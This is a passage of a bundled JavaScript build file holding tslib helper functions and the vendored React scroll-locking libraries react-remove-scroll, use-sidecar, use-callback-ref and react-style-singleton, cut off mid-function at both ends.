__propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/react-remove-scroll-bar/dist/es2015/constants.js var zeroRightClassName = 'right-scroll-bar-position'; var fullWidthClassName = 'width-before-scroll-bar'; var noScrollbarsClassName = 'with-scroll-bars-hidden'; /** * Name of a CSS variable containing the amount of "hidden" scrollbar * ! might be undefined ! use will fallback! */ var removedBarSizeVariable = '--removed-body-scroll-bar-size'; ;// ./node_modules/use-callback-ref/dist/es2015/assignRef.js /** * Assigns a value for a given ref, no matter of the ref format * @param {RefObject} ref - a callback function or ref object * @param value - a new value * * @see https://github.com/theKashey/use-callback-ref#assignref * @example * const refObject = useRef(); * const refFn = (ref) => {....} * * assignRef(refObject, "refValue"); * assignRef(refFn, "refValue"); */ function assignRef(ref, value) { if (typeof ref === 'function') { ref(value); } else if (ref) { ref.current = value; } return ref; } ;// ./node_modules/use-callback-ref/dist/es2015/useRef.js /** * creates a MutableRef with ref change callback * @param initialValue - initial ref value * @param {Function} callback - a callback to run when value changes * * @example * const ref = useCallbackRef(0, (newValue, oldValue) => console.log(oldValue, '->', newValue); * ref.current = 1; * // prints 0 -> 1 * * @see https://reactjs.org/docs/hooks-reference.html#useref * @see https://github.com/theKashey/use-callback-ref#usecallbackref---to-replace-reactuseref * @returns {MutableRefObject} */ function useCallbackRef(initialValue, callback) { var ref = (0,external_React_namespaceObject.useState)(function () { return ({ // value value: initialValue, // last callback callback: callback, // "memoized" public interface facade: { get current() { return ref.value; }, set current(value) { var last = ref.value; if (last !== value) { ref.value = value; ref.callback(value, last); } }, }, }); })[0]; // update callback ref.callback = callback; return ref.facade; } ;// ./node_modules/use-callback-ref/dist/es2015/useMergeRef.js var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? external_React_namespaceObject.useLayoutEffect : external_React_namespaceObject.useEffect; var currentValues = new WeakMap(); /** * Merges two or more refs together providing a single interface to set their value * @param {RefObject|Ref} refs * @returns {MutableRefObject} - a new ref, which translates all changes to {refs} * * @see {@link mergeRefs} a version without buit-in memoization * @see https://github.com/theKashey/use-callback-ref#usemergerefs * @example * const Component = React.forwardRef((props, ref) => { * const ownRef = useRef(); * const domRef = useMergeRefs([ref, ownRef]); // 👈 merge together * return <div ref={domRef}>...</div> * } */ function useMergeRefs(refs, defaultValue) { var callbackRef = useCallbackRef(defaultValue || null, function (newValue) { return refs.forEach(function (ref) { return assignRef(ref, newValue); }); }); // handle refs changes - added or removed useIsomorphicLayoutEffect(function () { var oldValue = currentValues.get(callbackRef); if (oldValue) { var prevRefs_1 = new Set(oldValue); var nextRefs_1 = new Set(refs); var current_1 = callbackRef.current; prevRefs_1.forEach(function (ref) { if (!nextRefs_1.has(ref)) { assignRef(ref, null); } }); nextRefs_1.forEach(function (ref) { if (!prevRefs_1.has(ref)) { assignRef(ref, current_1); } }); } currentValues.set(callbackRef, refs); }, [refs]); return callbackRef; } ;// ./node_modules/use-sidecar/dist/es2015/medium.js function ItoI(a) { return a; } function innerCreateMedium(defaults, middleware) { if (middleware === void 0) { middleware = ItoI; } var buffer = []; var assigned = false; var medium = { read: function () { if (assigned) { throw new Error('Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.'); } if (buffer.length) { return buffer[buffer.length - 1]; } return defaults; }, useMedium: function (data) { var item = middleware(data, assigned); buffer.push(item); return function () { buffer = buffer.filter(function (x) { return x !== item; }); }; }, assignSyncMedium: function (cb) { assigned = true; while (buffer.length) { var cbs = buffer; buffer = []; cbs.forEach(cb); } buffer = { push: function (x) { return cb(x); }, filter: function () { return buffer; }, }; }, assignMedium: function (cb) { assigned = true; var pendingQueue = []; if (buffer.length) { var cbs = buffer; buffer = []; cbs.forEach(cb); pendingQueue = buffer; } var executeQueue = function () { var cbs = pendingQueue; pendingQueue = []; cbs.forEach(cb); }; var cycle = function () { return Promise.resolve().then(executeQueue); }; cycle(); buffer = { push: function (x) { pendingQueue.push(x); cycle(); }, filter: function (filter) { pendingQueue = pendingQueue.filter(filter); return buffer; }, }; }, }; return medium; } function createMedium(defaults, middleware) { if (middleware === void 0) { middleware = ItoI; } return innerCreateMedium(defaults, middleware); } // eslint-disable-next-line @typescript-eslint/ban-types function createSidecarMedium(options) { if (options === void 0) { options = {}; } var medium = innerCreateMedium(null); medium.options = __assign({ async: true, ssr: false }, options); return medium; } ;// ./node_modules/react-remove-scroll/dist/es2015/medium.js var effectCar = createSidecarMedium(); ;// ./node_modules/react-remove-scroll/dist/es2015/UI.js var nothing = function () { return; }; /** * Removes scrollbar from the page and contain the scroll within the Lock */ var RemoveScroll = external_React_namespaceObject.forwardRef(function (props, parentRef) { var ref = external_React_namespaceObject.useRef(null); var _a = external_React_namespaceObject.useState({ onScrollCapture: nothing, onWheelCapture: nothing, onTouchMoveCapture: nothing, }), callbacks = _a[0], setCallbacks = _a[1]; var forwardProps = props.forwardProps, children = props.children, className = props.className, removeScrollBar = props.removeScrollBar, enabled = props.enabled, shards = props.shards, sideCar = props.sideCar, noIsolation = props.noIsolation, inert = props.inert, allowPinchZoom = props.allowPinchZoom, _b = props.as, Container = _b === void 0 ? 'div' : _b, rest = __rest(props, ["forwardProps", "children", "className", "removeScrollBar", "enabled", "shards", "sideCar", "noIsolation", "inert", "allowPinchZoom", "as"]); var SideCar = sideCar; var containerRef = useMergeRefs([ref, parentRef]); var containerProps = __assign(__assign({}, rest), callbacks); return (external_React_namespaceObject.createElement(external_React_namespaceObject.Fragment, null, enabled && (external_React_namespaceObject.createElement(SideCar, { sideCar: effectCar, removeScrollBar: removeScrollBar, shards: shards, noIsolation: noIsolation, inert: inert, setCallbacks: setCallbacks, allowPinchZoom: !!allowPinchZoom, lockRef: ref })), forwardProps ? (external_React_namespaceObject.cloneElement(external_React_namespaceObject.Children.only(children), __assign(__assign({}, containerProps), { ref: containerRef }))) : (external_React_namespaceObject.createElement(Container, __assign({}, containerProps, { className: className, ref: containerRef }), children)))); }); RemoveScroll.defaultProps = { enabled: true, removeScrollBar: true, inert: false, }; RemoveScroll.classNames = { fullWidth: fullWidthClassName, zeroRight: zeroRightClassName, }; ;// ./node_modules/use-sidecar/dist/es2015/exports.js var SideCar = function (_a) { var sideCar = _a.sideCar, rest = __rest(_a, ["sideCar"]); if (!sideCar) { throw new Error('Sidecar: please provide `sideCar` property to import the right car'); } var Target = sideCar.read(); if (!Target) { throw new Error('Sidecar medium not found'); } return external_React_namespaceObject.createElement(Target, __assign({}, rest)); }; SideCar.isSideCarExport = true; function exportSidecar(medium, exported) { medium.useMedium(exported); return SideCar; } ;// ./node_modules/get-nonce/dist/es2015/index.js var currentNonce; var setNonce = function (nonce) { currentNonce = nonce; }; var getNonce = function () { if (currentNonce) { return currentNonce; } if (true) { return __webpack_require__.nc; } return undefined; }; ;// ./node_modules/react-style-singleton/dist/es2015/singleton.js function makeStyleTag() { if (!document) return null; var tag = document.createElement('style'); tag.type = 'text/css'; var nonce = getNonce(); if (nonce) { tag.setAttribute('nonce', nonce); } return tag; } function injectStyles(tag, css) { // @ts-ignore if (tag.styleSheet) { // @ts-ignore tag.styleSheet.cssText = css; } else { tag.appendChild(document.createTextNode(css)); } } function insertStyleTag(tag) { var head = document.head || document.getElementsByTagName('head')[0]; head.appendChild(tag); } var stylesheetSingleton = function () { var counter = 0; var stylesheet = null; return { add: function (style) { if (counter == 0) { if ((stylesheet = makeStyleTag())) { injectStyles(stylesheet, style); insertStyleTag(stylesheet); } } counter++; }, remove: function () { counter--; if (!counter && stylesheet) { stylesheet.parentNode && stylesheet.parentNode.removeChild(stylesheet); stylesheet = null; } }, }; }; ;// ./node_modules/react-style-singleton/dist/es2015/hook.js /** * creates a hook to control style singleton * @see {@link styleSingleton} for a safer component version * @example * ```tsx * const useStyle = styleHookSingleton(); * /// * useStyle('body { overflow: hidden}'); */ var styleHookSingleton = function () { var sheet = stylesheetSingleton(); return function (styles, isDynamic) { external_React_namespaceObject.useEffect(function () { sheet.add(styles); return function () { sheet.remove(); }; }, [styles && isDynamic]); }; }; ;// ./node_modules/react-style-singleton/dist/es2015/component.js /** * create a Component to add styles on demand * - styles are added when first instance is mounted * - styles are removed when the last instance is unmounted * - changing styles in runtime does nothing unless dynamic is set. But with multiple components that can lead to the undefined behavior */ var styleSingleton = function () { var useStyle = styleHookSingleton(); var Sheet = function (_a) { var styles = _a.styles, dynamic = _a.dynamic; useStyle(styles, dynamic); return null; }; return Sheet; }; ;// ./node_modules/react-style-singleton/dist/es2015/index.js ;// ./node_modules/react-remove-scroll-bar/dist/es2015/utils.js var zeroGap = { left: 0, top: 0, right: 0, gap: 0, }; var parse = function (x) { return parseInt(x || '', 10) || 0; }; var getOffset = function (gapMode) { var cs = window.getComputedStyle(document.body); var left = cs[gapMode === 'padding' ? 'paddingLeft' : 'marginLeft']; var top = cs[gapMode === 'padding' ? 'paddingTop' : 'marginTop']; var right = cs[gapMode === 'padding' ? 'paddingRight' : 'marginRight']; return [parse(left), parse(top), parse(right)]; }; var getGapWidth = function (gapMode) { if (gapMode === void 0) { gapMode = 'margin'; } if (typeof window === 'undefined') { return zeroGap; } var offsets = getOffset(gapMode); var documentWidth = document.documentElement.clientWidth; var windowWidth = window.innerWidth; return { left: offsets[0], top: offsets[1], right: offsets[2], gap: Math.max(0, windowWidth - documentWidth + offsets[2] - offsets[0]), }; }; ;// ./node_modules/react-remove-scroll-bar/dist/es2015/component.js var Style = styleSingleton(); var lockAttribute = 'data-scroll-locked'; // important tip - once we measure scrollBar width and remove them // we could not repeat this operation // thus we are using style-singleton - only the first "yet correct" style will be applied. var getStyles = function (_a, allowRelative, gapMode, important) { var left = _a.left, top = _a.top, right = _a.right, gap = _a.gap; if (gapMode === void 0) { gapMode = 'margin'; } return "\n .".concat(noScrollbarsClassName, " {\n overflow: hidden ").concat(important, ";\n padding-right: ").concat(gap, "px ").concat(important, ";\n }\n body[").concat(lockAttribute, "] {\n overflow: hidden ").concat(important, ";\n overscroll-behavior: contain;\n ").concat([ allowRelative && "position: relative ".concat(important, ";"), gapMode === 'margin' && "\n padding-left: ".concat(left, "px;\n padding-top: ").concat(top, "px;\n padding-right: ").concat(right, "px;\n margin-left:0;\n margin-top:0;\n margin-right: ").concat(gap, "px ").concat(important, ";\n "), gapMode === 'padding' && "padding-right: ".concat(gap, "px ").concat(important, ";"), ] .filter(Boolean) .join(''), "\n }\n \n .").concat(zeroRightClassName, " {\n right: ").concat(gap, "px ").concat(important, ";\n }\n \n .").concat(fullWidthClassName, " {\n margin-right: ").concat(gap, "px ").concat(important, ";\n }\n \n .").concat(zeroRightClassName, " .").concat(zeroRightClassName, " {\n right: 0 ").concat(important, ";\n }\n \n .").concat(fullWidthClassName, " .").concat(fullWidthClassName, " {\n margin-right: 0 ").concat(important, ";\n }\n \n body[").concat(lockAttribute, "] {\n ").concat(removedBarSizeVariable, ": ").concat(gap, "px;\n }\n"); }; var getCurrentUseCounter = function () { var counter = parseInt(document.body.getAttribute(lockAttribute) || '0', 10); return isFinite(counter) ? counter : 0; }; var useLockAttribute = function () { external_React_namespaceObject.useEffect(function () { document.body.setAttribute(lockAttribute, (getCurrentUseCounter() + 1).toString()); return function () { var newCounter = getCurrentUseCounter() - 1; if (newCounter <= 0) { document.body.removeAttribute(lockAttribute); } else { document.body.setAttribute(lockAttribute, newCounter.toString()); } }; }, []); }; /** * Removes page scrollbar and blocks page scroll when mounted */ var RemoveScrollBar = function (_a) { var noRelative = _a.noRelative, noImportant = _a.noImportant, _b = _a.gapMode, gapMode = _b === void 0 ? 'margin' : _b; useLockAttribute(); /* gap will be measured on every component mount however it will be used only by the "first" invocation due to singleton nature of <Style */ var gap = external_React_namespaceObject.useMemo(function () { return getGapWidth(gapMode); }, [gapMode]); return external_React_namespaceObject.createElement(Style, { styles: getStyles(gap, !noRelative, gapMode, !noImportant ? '!important' : '') }); }; ;// ./node_modules/react-remove-scroll-bar/dist/es2015/index.js ;// ./node_modules/react-remove-scroll/dist/es2015/aggresiveCapture.js var passiveSupported = false; if (typeof window !== 'undefined') { try { var options = Object.defineProperty({}, 'passive', { get: function () { passiveSupported = true; return true; }, }); // @ts-ignore window.addEventListener('test', options, options); // @ts-ignore window.removeEventListener('test', options, options); } catch (err) { passiveSupported = false; } } var nonPassive = passiveSupported ? { passive: false } : false; ;// ./node_modules/react-remove-scroll/dist/es2015/handleScroll.js var alwaysContainsScroll = function (node) { // textarea will always _contain_ scroll inside self. It only can be hidden return node.tagName === 'TEXTAREA'; }; var elementCanBeScrolled = function (node, overflow) { var styles = window.getComputedStyle(node); return ( // not-not-scrollable styles[overflow] !== 'hidden' && // contains scroll inside self !(styles.overflowY === styles.overflowX && !alwaysContainsScroll(node) && styles[overflow] === 'visible')); }; var elementCouldBeVScrolled = function (node) { return elementCanBeScrolled(node, 'overflowY'); }; var elementCouldBeHScrolled = function (node) { return elementCanBeScrolled(node, 'overflowX'); }; var locationCouldBeScrolled = function (axis, node) { var current = node; do { // Skip over shadow root if (typeof ShadowRoot !== 'undefined' && current instanceof ShadowRoot) { current = current.host; } var isScrollable = elementCouldBeScrolled(axis, current); if (isScrollable) { var _a = getScrollVariables(axis, current), s = _a[1], d = _a[2]; if (s > d) { return true; } } current = current.parentNode; } while (current && current !== document.body); return false; }; var getVScrollVariables = function (_a) { var scrollTop = _a.scrollTop, scrollHeight = _a.scrollHeight, clientHeight = _a.clientHeight; return [ scrollTop, scrollHeight, clientHeight, ]; }; var getHScrollVariables = function (_a) { var scrollLeft = _a.scrollLeft, scrollWidth = _a.scrollWidth, clientWidth = _a.clientWidth; return [ scrollLeft, scrollWidth, clientWidth, ]; }; var elementCouldBeScrolled = function (axis, node) { return axis === 'v' ? elementCouldBeVScrolled(node) : elementCouldBeHScrolled(node); }; var getScrollVariables = function (axis, node) { return axis === 'v' ? getVScrollVariables(node) : getHScrollVariables(node); }; var getDirectionFactor = function (axis, direction) { /** * If the element's direction is rtl (right-to-left), then scrollLeft is 0 when the scrollbar is at its rightmost position, * and then increasingly negative as you scroll towards the end of the content. * @see https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollLeft */ return axis === 'h' && direction === 'rtl' ? -1 : 1; }; var handleScroll = function (axis, endTarget, event, sourceDelta, noOverscroll) { var directionFactor = getDirectionFactor(axis, window.getComputedStyle(endTarget).direction); var delta = directionFactor * sourceDelta; // find scrollable target var target = event.target; var targetInLock = endTarget.contains(target); var shouldCancelScroll = false; var isDeltaPositive = delta > 0; var availableScroll = 0; var availableScrollTop = 0; do { var _a = getScrollVariables(axis, target), position = _a[0], scroll_1 = _a[1], capacity = _a[2]; var elementScroll = scroll_1 - capacity - directionFactor * position; if (position || elementScroll) { if (elementCouldBeScrolled(axis, target)) { availableScroll += elementScroll; availableScrollTop += position; } } target = target.parentNode; } while ( // portaled content (!targetInLock && target !== document.body) || // self content (targetInLock && (endTarget.contains(target) || endTarget === target))); if (isDeltaPositive && ((noOverscroll && availableScroll === 0) || (!noOverscroll && delta > availableScroll))) { shouldCancelScroll = true; } else if (!isDeltaPositive && ((noOverscroll && availableScrollTop === 0) || (!noOverscroll && -delta > availableScrollTop))) { shouldCancelScroll = true; } return shouldCancelScroll; }; ;// ./node_modules/react-remove-scroll/dist/es2015/SideEffect.js var getTouchXY = function (event) { return 'changedTouches' in event ? [event.changedTouches[0].clientX, event.changedTouches[0].clientY] : [0, 0]; }; var getDeltaXY = function (event) { return [event.deltaX, event.deltaY]; }; var extractRef = function (ref) { return ref && 'current' in ref ? ref.current : ref; }; var deltaCompare = function (x, y) { return x[0] === y[0] && x[1] === y[1]; }; var generateStyle = function (id) { return "\n .block-interactivity-".concat(id, " {pointer-events: none;}\n .allow-interactivity-").concat(id, " {pointer-events: all;}\n"); }; var idCounter = 0; var lockStack = []; function RemoveScrollSideCar(props) { var shouldPreventQueue = external_React_namespaceObject.useRef([]); var touchStartRef = external_React_namespaceObject.useRef([0, 0]); var activeAxis = external_React_namespaceObject.useRef(); var id = external_React_namespaceObject.useState(idCounter++)[0]; var Style = external_React_namespaceObject.useState(function () { return styleSingleton(); })[0]; var lastProps = external_React_namespaceObject.useRef(props); external_React_namespaceObject.useEffect(function () { lastProps.current = props; }, [props]); external_React_namespaceObject.useEffect(function () { if (props.inert) { document.body.classList.add("block-interactivity-".concat(id)); var allow_1 = __spreadArray([props.lockRef.current], (props.shards || []).map(extractRef), true).filter(Boolean); allow_1.forEach(function (el) { return el.classList.add("allow-interactivity-".concat(id)); }); return function () { document.body.classList.remove("block-interactivity-".concat(id)); allow_1.forEach(function (el) { return el.classList.remove("allow-interactivity-".concat(id)); }); }; } return; }, [props.inert, props.lockRef.current, props.shards]); var shouldCancelEvent = external_React_namespaceObject.useCallback(function (event, parent) { if ('touches' in event && event.touches.length === 2) { return !lastProps.current.allowPinchZoom; } var touch = getTouchXY(event); var touchStart = touchStartRef.current; var deltaX = 'deltaX' in event ? event.deltaX : touchStart[0] - touch[0]; var deltaY = 'deltaY' in event ? event.deltaY : touchStart[1] - touch[1]; var currentAxis; var target = event.target; var moveDirection = Math.abs(deltaX) > Math.abs(deltaY) ? 'h' : 'v'; // allow horizontal touch move on Range inputs. They will not cause any scroll if ('touches' in event && moveDirection === 'h' && target.type === 'range') { return false; } var canBeScrolledInMainDirection = locationCouldBeScrolled(moveDirection, target); if (!canBeScrolledInMainDirection) { return true; } if (canBeScrolledInMainDirection) { currentAxis = moveDirection; } else { currentAxis = moveDirection === 'v' ? 'h' : 'v'; canBeScrolledInMainDirection = locationCouldBeScrolled(moveDirection, target); // other axis might be not scrollable } if (!canBeScrolledInMainDirection) { return false; } if (!activeAxis.current && 'changedTouches' in event && (deltaX || deltaY)) { activeAxis.current = currentAxis; } if (!currentAxis) { return true; } var cancelingAxis = activeAxis.current || currentAxis; return handleScroll(cancelingAxis, parent, event, cancelingAxis === 'h' ? deltaX : deltaY, true); }, []); var shouldPrevent = external_React_namespaceObject.useCallback(function (_event) { var event = _event; if (!lockStack.length || lockStack[lockStack.length - 1] !== Style) { // not the last active return; } var delta = 'deltaY' in event ? getDeltaXY(event) : getTouchXY(event); var sourceEvent = shouldPreventQueue.current.filter(function (e) { return e.name === event.type && e.target === event.target && deltaCompare(e.delta, delta); })[0]; // self event, and should be canceled if (sourceEvent && sourceEvent.should) { if (event.cancelable) { event.preventDefault(); } return; } // outside or shard event if (!sourceEvent) { var shardNodes = (lastProps.current.shards || []) .map(extractRef) .filter(Boolean) .filter(function (node) { return node.contains(event.target); }); var shouldStop = shardNodes.length > 0 ? shouldCancelEvent(event, shardNodes[0]) : !lastProps.current.noIsolation; if (shouldStop) { if (event.cancelable) { event.preventDefault(); } } } }, []); var shouldCancel = external_React_namespaceObject.useCallback(function (name, delta, target, should) { var event = { name: name, delta: delta, target: target, should: should }; shouldPreventQueue.current.push(event); setTimeout(function () { shouldPreventQueue.current = shouldPreventQueue.current.filter(function (e) { return e !== event; }); }, 1); }, []); var scrollTouchStart = external_React_namespaceObject.useCallback(function (event) { touchStartRef.current = getTouchXY(event); activeAxis.current = undefined; }, []); var scrollWheel = external_React_namespaceObject.useCallback(function (event) { shouldCancel(event.type, getDeltaXY(event), event.target, shouldCancelEvent(event, props.lockRef.current)); }, []); var scrollTouchMove = external_React_namespaceObject.useCallback(function (event) { shouldCancel(event.type, getTouchXY(event), event.target, shouldCancelEvent(event, props.lockRef.current)); }, []); external_React_namespaceObject.useEffect(function () { lockStack.push(Style); props.setCallbacks({ onScrollCapture: scrollWheel, onWheelCapture: scrollWheel, onTouchMoveCapture: scrollTouchMove, }); document.addEventListener('wheel', shouldPrevent, nonPassive); document.addEventListener('touchmove', shouldPrevent, nonPassive); document.addEventListener('touchstart', scrollTouchStart, nonPassive); return function () { lockStack = lockStack.filter(function (inst) { return inst !== Style; }); document.removeEventListener('wheel', shouldPrevent, nonPassive); 